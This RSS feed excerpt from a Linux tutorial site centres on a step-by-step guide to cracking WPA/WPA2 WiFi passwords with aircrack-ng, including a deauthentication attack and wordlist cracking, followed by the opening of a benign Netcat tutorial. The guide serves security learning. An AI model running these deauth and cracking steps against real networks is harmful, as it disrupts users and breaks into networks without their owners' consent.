<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="987" height="571" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.jpg" alt="" class="wp-image-3418" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.jpg 987w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-300x174.jpg 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-768x444.jpg 768w" sizes="auto, (max-width: 987px) 100vw, 987px" /></figure>



<p class="orange-border">I&#8217;m not sure of an easy way how you can automatically connect a WiFi Adapter with VMware Player, as we did with VirtualBox. The solution in VMware knowledge base seems to involve a bit of work <a href="https://kb.vmware.com/s/article/1648" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://kb.vmware.com/s/article/1648<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and I haven&#8217;t tried it myself. <em>If anyone has an easier solution for this and would like to share, then we&#8217;d love to hear from you</em>.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Now you can boot your Kali VM and start practicing your wireless hacking skills. You can list all the wireless networks around you and even put your card in monitor mode.</p>



<p>I believe up to this point, you have a working wireless adapter on your Kali Linux VirtualBox machine. Please remember when selecting an adapter for wireless hacking to ensure the chipset used is among the chipsets listed above.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/feed/</wfw:commentRss>
			<slash:comments>8</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3399</post-id>	</item>
		<item>
		<title>Crack WPA/WPA2 WiFi Passwords using Aircrack-ng &#038; Kali Linux</title>
		<link>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/</link>
					<comments>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 20:18:29 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3381</guid>

					<description><![CDATA[For anyone who wants to get started on an Ethical Hacking career, one of the topics you will encounter is Networking hacking. That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis. This post will give you a detailed guide [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>For anyone who wants to get started on an Ethical Hacking career, one of the topics you will encounter is Networking hacking.</p>



<p>That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis.</p>



<p>This post will give you a detailed guide on cracking WPA/WPA2 WiFi passwords using Kali Linux.</p>



<p class="orange-border"><strong>Important:</strong> In this article I&#8217;ll be demonstrating how to crack a password on my WiFi network. Please do not use this method for non-ethical purposes.</p>






<h2 id="understanding-how-networks-operate" class="wp-block-heading">Understanding How Networks Operate</h2>



<p>Before looking at how to crack WiFi passwords, you need to understand how a network operates. A network usually contains several devices connected using a wired (Ethernet, Fiber, etc.) or wireless connection (WiFi, Bluetooth, etc.) to share resources. An excellent example of a resource that we connect to networks to access is the <strong>Internet</strong>.</p>



<p>Whether you are on a wired or wireless network, one device is always considered a server. For example, if you are on a home network, the server would be the router/Access point. To connect to the internet, a Device(A) will send a request to the router, which will, in turn, fetch what you want from the Internet. Data transmitted between the client and the Access Point is known as <strong>Packets</strong>.</p>



<p>This tutorial will teach you how to capture these packets and use them to crack WPA and WPA2 passwords.</p>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="663" height="412" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-57.webp" alt="Typical Network" class="wp-image-3392" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-57.webp 663w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-57-300x186.webp 300w" sizes="auto, (max-width: 663px) 100vw, 663px" /></figure></div>



<h2 id="managed-mode-and-monitor-mode" class="wp-block-heading">Managed Mode and Monitor Mode?</h2>



<p>Every device with access to the internet comes with a chip known as the Network Interface Card (<strong>NIC</strong>). This chip is responsible for capturing packets sent by the router to our device.</p>



<p>By default, it is set to <strong>Managed Mode</strong>. That means it can only listen to packets sent directly to our device (packets with our devices’ MAC address as the destination MAC). To crack a WPA or WPA2 WIFi, we need to capture many of these packets. Therefore, we will set our <strong>NIC</strong> to <strong>Monitor Mode</strong>. In Monitor Mode, the card will listen to all packets being sent by the router capturing as many packets as possible.</p>



<p>Up to this point, I believe you now have the basic knowledge required to get you started with Network hacking. Boot your Kali Linux machine, and we can begin to crack WiFi passwords.</p>



<h2 id="an-overview-of-how-the-method-works" class="wp-block-heading">An Overview of How The Method Works</h2>



<p>To give you a short and simple overview so you know what&#8217;s coming up, we will:</p>



<ol class="wp-block-list"><li>Set our wireless network adapter in <strong>monitor mode</strong> so it can listen for packets</li><li>List all available WiFi networks</li><li>Target a single WiFi network from which we&#8217;ll try to capture <strong>Handshake packets</strong> &#8211; these are packets transmitted between the router and the client computer, when they&#8217;re trying to establish a connection. We want to capture these packets, because some of them will contain the <a href="https://docs.oracle.com/cd/E26180_01/Platform.94/ATGPersProgGuide/html/s0506passwordhashing01.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">hashed password.<span class="wpel-icon wpel-image wpel-icon-19"></span></a></li><li>We won&#8217;t be decrypting the hashed password, but it still provides a valuable clue. Next we&#8217;ll use a large list of popular passwords, and we&#8217;ll turn each one into a hashed form, and compare them with the WiFi password, in it&#8217;s hashed form, that we got from listening to packets.</li><li>When the hashes match, this means that we found the password.</li></ol>



<h3 id="important-notes" class="wp-block-heading">Important Notes</h3>



<ol class="wp-block-list"><li>In our tutorial we&#8217;ll use a popular list of passwords, called <strong>rockyou.txt</strong>, that comes with Kali Linux.</li><li>If the password you&#8217;re trying to crack isn&#8217;t in the passwords list, also called <code>wordlist</code>, then we won&#8217;t be able to crack it.</li><li>You can check if the password is in the wordlist by running something like <code>sudo grep -F 'yourpassword' /usr/share/rockyou.txt</code>.</li><li>Keep in mind that <strong>/usr/share/rockyou.txt</strong> is archived by default, into&nbsp;<strong>/usr/share/rockyou.txt.gz</strong>, so you&#8217;ll have to extract it first. To do this you can run:<br>cd /usr/share/wordlists &amp;&amp; sudo gzip -d rockyou.txt.gz</li></ol>



<h2 id="step-1-put-your-card-in-monitor-mode" class="wp-block-heading">Step 1. Put Your Card in Monitor Mode</h2>



<p>On your Kali machine, open the Terminal and execute the command below to list all the connected network devices.</p>



<pre class="wp-block-preformatted prompt">ifconfig</pre>



<p>Or</p>



<pre class="wp-block-preformatted prompt">ip a</pre>



<p class="neon-border"><strong>Related</strong>: In case you&#8217;re also running Kali Linux in a virtual machine, here is a tutorial on how to connect wireless adapter to Kali Linux in VirtualBox/VMware &#8211; <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">Connecting a Wireless Adapter to a Kali Linux Virtual Machine</a>. It also covers the types of wireless adapters you can place in monitor mode and that can do packet injection.</p>



<p>In Kali, the Wireless card will be listed as something like <code>wlan0</code>. I&#8217;m using Kali Linux in VirtualBox, with a wireless adapter connected.</p>



<p>In my case, the WiFi network is listed as <code>wlan0</code>:</p>


<div class="codeblock-title">Output from ifconfig</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="19" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe2f:7ffe  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether 08:00:27:2f:7f:fe  txqueuelen 1000  (Ethernet)
        RX packets 1  bytes 590 (590.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 1452 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&amp;lt;UP,LOOPBACK,RUNNING&amp;gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&amp;lt;host&amp;gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16  bytes 880 (880.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 880 (880.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099&amp;lt;UP,BROADCAST,MULTICAST&amp;gt;  mtu 2312
        unspec ca-d3-dd-57-cf-30-00-B9-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 20790  bytes 0 (0.0 B)
        RX errors 0  dropped 20790  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0</pre>



<p>To put your wireless adapter in <strong>monitor mode</strong> (a mode where the adapter can capture all kinds of WiFi packets) , we will use a tool known as <a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">airmon-ng<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Execute the command below and replace <code>wlan0</code> with the name of your wireless card.</p>



<pre class="wp-block-preformatted prompt">sudo airmon-ng start wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    399 NetworkManager
   1142 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           8188eu          TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
                (mac80211 monitor mode already enabled for [phy0]wlan0 on [phy0]wlan0)</pre>



<p class="neon-border"><strong>Note</strong>: You won’t access the internet with your card in monitor mode. It will not even be listed under the network devices on your Settings app.</p>



<p>If your card keeps reverting to <strong>Managed mode</strong>, you will need to kill all interfering processes with the command below.</p>



<pre class="wp-block-preformatted prompt">sudo airmon-ng check kill</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Killing these processes:

    PID Name
   1142 wpa_supplicant</pre>



<p>To check whether your card was successfully put to monitor mode, execute the command below:</p>



<pre class="wp-block-preformatted prompt">iwconfig</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11b  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Monitor  Frequency:2.457 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=0/100  Signal level=-100 dBm  Noise level=0 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0</pre>



<p>From the image above, you can see the <code>wlan0</code> card is set to <strong>Monitor mode</strong>. In some cases, the Kali system will add the suffix <em>&#8220;mon&#8221;</em> to any card in Monitor mode. For example, <code>wlan0</code> would be renamed to <code>wlan0mon</code>. If that&#8217;s the case for you, that is the name you will use anytime you want to call the WiFi card.</p>



<h2 id="step-2-test-your-card-for-packet-injection" class="wp-block-heading">Step 2. Test Your Card For Packet Injection</h2>



<p>In most wireless attacks, you will need to perform packet injection (Forging or spoofing packets) and unfortunately, not all Network Cards support packet injection.</p>



<p>To test your card for packet injection, execute the command below and ensure you are near WiFi networks. Remember to replace wlan1 with the name of your wireless card in monitor mode.</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --test wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">20:10:12  Trying broadcast probe requests...
20:10:12  Injection is working!
20:10:14  Found 7 APs

20:10:14  Trying directed probe requests...
20:10:14  73:6F:5F:92:73:DD - channel: 1 - 'N00bLx Office'
20:10:14  Ping (min/avg/max): 1.831ms/9.501ms/16.956ms Power: -65.80
20:10:14  30/30: 100%</pre>



<p>From the image above, you can see my card can inject packets into the network. If that&#8217;s not the case for you, you can buy a USB Network card (WiFi dongle) that supports packet injection.</p>



<p class="neon-border">You can also find a list of recommended network cards, along with beginner friendly explanations, in our related tutorial <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">Connecting a Wireless Adapter to a Kali Linux Virtual Machine</a>.</p>



<h2 id="step-3-packet-sniffing-using-airodump-ng" class="wp-block-heading">Step 3. Packet Sniffing Using Airodump-ng</h2>



<p>Now that we have enabled Monitor mode on our wireless card and even tested it for packet injection, we can now capture packets on our WiFi networks. We will use a tool known as <code>airodump-ng</code>. Execute the command below and press <strong>Enter</strong>.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng &lt;wifi-card-in-monitor-mode&gt;</pre>



<p>In my case, I&#8217;ll run:</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">CH  4 ][ Elapsed: 12 s ][ 2021-08-27 20:16                                                
                                                                                          
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID           
                                                                                          
17:5A:78:5B:AE:56  -69       44        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network
07:E1:B2:8E:0E:82  -50       49        0    0   6   54e. WPA2 TKIP   PSK  N00bLx Bathroom WiFi          
17:93:7E:F0:FF:A8  -51       41       35    5   1  130   WPA2 CCMP   PSK  The Neighbour       
D3:DA:6D:87:61:86  -52       45        0    0   6   54e. WPA  TKIP   PSK  &lt;length:  0&gt;    
73:6F:5F:92:73:DD  -57       41        0    0   1  130   WPA2 CCMP   PSK  N00bLx Office       
73:E4:D1:03:B1:8D  -65       37        0    0   1  130   WPA2 CCMP   PSK  Mayor's Office      
9B:9D:78:DC:92:43  -67       45        0    0   8  130   WPA2 CCMP   PSK  Sheshe          
AB:25:7A:0A:5C:42  -77       33        4    0   8  130   WPA2 CCMP   PSK  Skynet-4114   
AB:AA:DC:10:4D:3F  -76       27        0    0  10  130   WPA2 CCMP   PSK  Mark_cdd5e8     
B3:10:82:55:F1:57  -86       21        0    0  11  130   WPA2 CCMP   PSK  MARK-7NfA       
2F:78:E6:5B:0F:2B  -93       40        1    0   5  540   WPA2 CCMP   PSK  home network     
AB:30:6D:D1:31:E5  -93       27        0    0   6  130   WPA2 CCMP   PSK  Mobile-1615   
F3:F1:AE:18:A2:46  -93        4        0    0   1   48   WPA2 CCMP   PSK  MrBot_80     
63:8C:27:81:CB:8D  -93        2        0    0  11  130   WPA2 CCMP   PSK  UPC2076594      
D7:BF:F1:DF:52:23  -93        3        0    0   5  130   WPA2 CCMP   PSK  Bob      
EB:48:C0:6D:98:35  -86       24        7    2   3  130   WPA2 CCMP   PSK  TP-Link_47F0    
07:E1:06:1A:32:B1  -89       35        0    0  11  130   WPA2 CCMP   PSK  Some Netowrk       
4F:FB:76:4D:66:EA  -93       14        0    0  11  130   WPA2 CCMP   PSK  Mobile-746339   
9B:53:21:87:20:38  -93       17        2    0   3  130   WPA2 CCMP   PSK  LALA124173       
E3:88:A3:6E:6B:F5  -93        5        0    0   1  130   WPA2 CCMP   PSK  HAI-Fh9n       
CB:9B:94:7E:0A:AE  -93        2        0    0   1  130   WPA2 CCMP   PSK  BATMAN2629688      
6B:8B:B1:59:88:0E  -93        9        0    0   1  130   WPA2 CCMP   PSK  HI              
                                                                                     
                                                                                          
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes         
                                                                                          
(not associated)   33:C6:35:3F:05:D8  -94    0 - 1     41       10         LALA-4qnS      
(not associated)   57:B1:C8:C5:37:1B  -94    0 - 1      0        1                        
0F:93:59:43:F0:E4  23:1D:97:42:42:F3   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  9B:C5:40:6E:34:34   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  13:17:36:01:1A:D2   -1    1e- 0      0        2                        
0F:93:59:43:F0:E4  53:85:C5:90:21:D9  -74    1e- 1e     8       12</pre>



<p>You will see a screen similar to the one in the image above. The program will continue running unless you close it using <strong>Ctrl + C</strong> or <strong>Ctrl + Z</strong>.</p>



<p>Let&#8217;s discuss the information on this screen.</p>



<ul class="wp-block-list"><li><strong>BSSID</strong>: This column displays the MAC address of the target network. That is the MAC address of the router or the Access Point.</li><li><strong>PWR</strong>: This is the signal strength or the power of the network. The closer the number is to zero, the better signal we will get.</li><li><strong>Beacons</strong>: These are frames sent by the Access point to broadcast its existence</li><li><strong>Data</strong>: These are the valuable data packets or frames that will help us in cracking wireless networks</li><li><strong>#/S</strong>: This column shows us the number of data packets we have collected in the last 10 seconds</li><li><strong>CH</strong>: This column indicates the channel on which the network is operating.</li><li><strong>MB</strong>: That indicates the maximum speed supported by the network.</li><li><strong>ENC</strong>: This column indicates the encryption used by the network</li><li><strong>CIPHER</strong>: Indicates the Cipher used on the network</li><li><strong>Auth</strong>: This shows the mode of authentication used to connect to the network</li><li><strong>ESSID</strong>: This column indicates the name of the WIFI network</li></ul>



<p>In this step, all we did was random packet sniffing. We did not target any particular WiFi network or store the sniffed packets.</p>



<p>However, that is useful since it gives you detailed information about networks near you.</p>



<p>In the next step, we will look at targeted packet sniffing.</p>



<h2 id="step-4-targeted-packet-sniffing" class="wp-block-heading">Step 4. Targeted Packet Sniffing</h2>



<p>The difference between <strong>WPA</strong> and <strong>WPA2</strong> is that WPA uses TKIP (Temporal Key Integrity Protocol) while the latter is capable of using TKIP and any other advanced AES algorithm. However, the method that we will use to crack the password is the same for both networks.</p>



<p>To crack WPA/WPA2 wifi networks, we will utilize the handshake packets. These are four packets transmitted between the router and the client when establishing a network connection. To capture packets on a specific network, we will use the syntax below.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng --bssid &lt;MAC-of-AccessPoint&gt; --channel &lt;channel-number&gt; --write &lt;name-of-file&gt; &lt;card-name&gt;</pre>



<p>From the image above, I will be cracking the password for the network with ESSID &#8220;Mrs. Test WiFi&#8221; I will use the command below.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng --bssid 17:5A:78:5B:AE:56 --channel 1 --write mrstestwifiPackets wlan0</pre>



<p>Now all you need to do is sit back and wait for the tool to capture as many Handshake packets as possible.</p>



<pre class="wp-block-preformatted">CH  1 ][ Elapsed: 6 s ][ 2021-08-27 20:20                                                                                      
                                                                                                                               
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                            
                                                                                                                               
17:5A:78:5B:AE:56  -22  93       88        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network                           
                                                                                                                               
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes</pre>



<p class="purple-border"><strong><span style="text-decoration: underline;">However, there is one problem</span></strong>.<br><br>Handshake packets are only captured once &#8211; when a device connects to the network. Therefore, to capture as many handshake packets as possible, we will need to use an attack to remove users from the network and reconnect. Deauthentication attack. That will help us capture more handshake packets.</p>



<p>To carry out a deuathentication attack, open a <strong>new Terminal</strong>, while leaving the current one running and trying to capture Handshake packets,&nbsp;and execute the command below:</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --deauth 50 -a &lt;BSSID-MAC&gt; &lt;Wireless-Card&gt;</pre>



<p>In my case, I&#8217;ll run:</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --deauth 50 -a 17:5A:78:5B:AE:56 wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">20:32:03  Waiting for beacon frame (BSSID: 17:5A:78:5B:AE:56) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c &lt;client's mac&gt;).
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:04  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:06  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
...</pre>



<p>The command will send 50 deauthentication packets, which are enough to disconnect several clients from the router. Once they reconnect, we will capture their handshake packets. All these packets are stored in the “<em>mrtestwifiPackets”</em> file we specified when performing a targeted sniffing.</p>



<h2 id="step-5-cracking-wpa-wpa2-using-a-wordlist" class="wp-block-heading">Step 5. Cracking WPA/WPA2 Using a Wordlist</h2>



<p>When we have captured enough Handshake packets, we can start to crack them using a wordlist.</p>



<p>Execute the ls command on your working directory. You will see several files with the name which you specified to save your sniffed packets. Look for the file with the <code>.cap</code> extension. That is the file we will use to crack our WiFi password.</p>



<p>The tool that we will use is known as <code>aircrack-ng</code>. Use the syntax below:</p>



<pre class="wp-block-preformatted prompt">sudo aircrack-ng &lt;packet-file-name&gt; -w &lt;wordlist_path&gt;</pre>



<p>In my case, I will run:</p>



<pre class="wp-block-preformatted prompt">sudo aircrack-ng mrstestwifiPackets.cap -w /usr/share/wordlists/rockyou.txt</pre>



<p>And here is the successfully cracked WiFi key.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="831" height="470" src="https://nooblinux.com/wp-content/uploads/2021/10/cracked-key.webp" alt="Successfully Cracked WiFi Key" class="wp-image-3393" srcset="https://nooblinux.com/wp-content/uploads/2021/10/cracked-key.webp 831w, https://nooblinux.com/wp-content/uploads/2021/10/cracked-key-300x170.webp 300w, https://nooblinux.com/wp-content/uploads/2021/10/cracked-key-768x434.webp 768w" sizes="auto, (max-width: 831px) 100vw, 831px" /></figure>



<p>As you can see where it says <code>KEY FOUND! [ mrpassword]</code>.</p>



<p>This process might take some time, depending on your wordlist and the complexity of the key. Some tips you can use to speed up the process are using the GPU, which is much faster, or uploading the captured handshake file to an online cracking site. These sites use powerful computers which can crack passwords even faster. You can also create your wordlist using a Python or Bash script or use the crunch tool.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>This tutorial has given you a detailed guide on cracking WPA/WPA2 key against a wordlist. With a large wordlist, you can easily crack different combinational passwords. However, if the key is very complex, using a wordlist may not always work. If you encountered any issues, then feel free to let us know in the comments and we&#8217;ll get back to you as soon as we can.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3381</post-id>	</item>
		<item>
		<title>How to Use The Netcat (nc) Command: An In-Depth Tutorial</title>
		<link>https://nooblinux.com/how-to-use-netcat/</link>
					<comments>https://nooblinux.com/how-to-use-netcat/#comments</comments>
		
		<dc:creator><![CDATA[Mahmud Hasan Saikot]]></dc:creator>
		<pubDate>Mon, 18 Oct 2021 22:40:57 +0000</pubDate>
				<category><![CDATA[Linux Commands]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[netcat]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3208</guid>

					<description><![CDATA[Netcat is one of the most versatile networking tools for system administrators – it is called the Swiss army knife of Networking. This tool can be used for creating any connections over TCP or UDP protocol which makes it an excellent debugging tool. It helps the user investigate connections directly by connecting to them. Netcat [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p><strong>Netcat</strong> is one of the most versatile networking tools for system administrators – it is called the <strong>Swiss army knife of Networking</strong>.</p>



<p>This tool can be used for creating any connections over TCP or UDP protocol which makes it an excellent debugging tool. It helps the user investigate connections directly by connecting to them.</p>



<p><strong>Netcat</strong> can also perform <em>port scanning</em>, <em>file transfer</em>, and sometimes it might be used by the hackers or penetration testers for <em>creating a backdoor into a system</em>.</p>



<p>In this tutorial, we’ll be covering the <strong>Netcat utility</strong> or <code>nc</code> command in detail.</p>



<p class="black-bg"><strong>Netcat</strong> was developed back in 1995. Despite its usefulness and popularity, it was not maintained. Many other versions of it have been developed since then. One of the most prominent among them is called <code>Ncat</code>, developed by the <strong>Nmap project</strong>.<br><br><strong>Ncat</strong> expands on the features of the traditional <strong>Netcat</strong> package. We’ll also touch on some of the functionalities of this tool.<br><br>However <strong>Ncat </strong>lacks the port scanning feature that Netcat has. This is because <strong>Nmap</strong> can already be has much more advanced port scanning capabilities.</p>



<p>I have installed <strong>Ncat</strong> and will be using it this tutorial, but I&#8217;ll refer to the software by both <strong>Ncat&nbsp;</strong>or&nbsp;<strong>Netcat</strong>.</p>






<h2 id="installing-traditional-netcat-ncat" class="wp-block-heading">Installing traditional Netcat &amp; Ncat</h2>



<p><strong>Netcat</strong> is available for Linux, Windows, and macOS.</p>



<p>If you’re running a Linux machine, chances are Netcat is already installed. However, you do need to install Netcat in other operating systems.</p>



<p><strong>Ncat</strong> is not available on any of the operating systems by default, so we&#8217;ll have to install it no matter what OS we&#8217;re using.</p>



<h3 id="installing-ncat-on-linux" class="wp-block-heading">Installing Ncat on Linux</h3>



<p>If you’re running Debian or Ubuntu-based systems, you can install it using the <strong>apt</strong> utility. To install&nbsp;<strong>ncat</strong> run:</p>



<pre class="wp-block-code prompt"><code>sudo apt-get install ncat</code></pre>



<p>On Redhat or CentOS-based distros, you can use <code>yum</code>. To install&nbsp;<strong>ncat</strong> run:</p>



<pre class="wp-block-preformatted promptrhel">sudo yum install ncat</pre>



<p class="neon-border"><strong>Notice:</strong> If you install&nbsp;<strong>Ncat</strong> then the <code>nc</code> or <code>netcat</code> command will use <strong>Ncat</strong> by default.<br><br>Installing <strong>Ncat</strong> will allow all the functionalities of the traditional <strong>Netcat</strong> and much more. </p>



<h3 id="installing-ncat-on-windows" class="wp-block-heading">Installing Ncat on Windows</h3>



<p>You can install Ncat on Windows by installing Nmap &#8211; and it will be installed alongside it.</p>



<p>To install Nmap you&#8217;ll use their self-installer, which you can find here <a href="https://nmap.org/download.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://nmap.org/download.html<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Find and download the latest stable self-installer, which looks something like this <code>nmap--setup.exe</code>, and then run it after it&#8217;s downloaded.</p>



<h3 id="installing-ncat-on-mac-os-x" class="wp-block-heading">Installing Ncat on MAC OS X</h3>



<p>You should be able to get <strong>Ncat</strong> installed alongside Nmap. To install Nmap on Mac OS X you can check the <a href="https://nmap.org/book/inst-macosx.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">installation instructions on Nmap.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>You can also find a very short section with instructions on <a href="https://bytexd.com/how-to-use-nmap/#install-nmap-on-mac-os-x" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">how to install Nmap on Mac OS X in our Nmap tutorial<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, should you have issues with the instructions on their site.</p>



<h3 id="installing-ncat-on-android-with-termux" class="wp-block-heading">Installing Ncat on Android with Termux</h3>



<p>Assuming that you already have Termux installed on your Android, you can install <strong>Ncat</strong> by installing Nmap.</p>



<p>To do this update your package index:</p>



<pre class="wp-block-preformatted prompt">apt update</pre>



<p>Then install Nmap by running:</p>



<pre class="wp-block-preformatted prompt">pkg install nmap</pre>



<h2 id="basics-of-connections-with-netcat" class="wp-block-heading">Basics of connections with Netcat</h2>



<p>Before we learn how to use the tool, let’s learn some basics of how it works.</p>



<p>Netcat can produce different types of connections based on how you use it. Traditional <code>nc</code> command will only work over the <strong>TCP</strong> and <strong>UDP</strong> protocol. However, the <strong>Ncat</strong> command supports <code>SSL</code>, <code>IPv6</code>, etc.</p>



<p>You can think of Netcat to be performing the tasks of both the client and the server in a Client-Server based connection model. You can read more about this model in our tutorial, <a href="https://bytexd.com/basics-http-requests-curl-tutorial/#basics-of-http-requests-responses" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Basics of HTTP Requests with cURL<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, under the <strong>Basics of HTTP Requests &amp; Responses</strong> section.</p>



<p class="black-bg">In short, you can create a server listening in any port and a client connecting to any port with Netcat.</p>



<p>Let’s see how to create a client and a server with Netcat.</p>



<h3 id="creating-a-client-with-netcat" class="wp-block-heading">Creating a client with Netcat</h3>



<p>If you’re reading this tutorial, then most likely you’re using some browser. Your browser work as <strong>a client</strong> to get the page from our <code>nooblinux.com</code> server.</p>



<p>You can <strong>create a client</strong> by connecting to any host and port you like with Netcat.</p>



<p><strong>Netcat</strong> has a basic syntax of:</p>



<pre class="wp-block-preformatted prompt">nc [options] host port</pre>



<p>You can use the <code>-n</code> flag to enter numeric-only or the IP address of the host; which will bypass the DNS name resolution:</p>



<pre class="wp-block-preformatted prompt">nc -n [IP address] port</pre>



<p>Type in the hostname or IP address and Port with the <code>nc</code> command to create a client:</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.</pre>



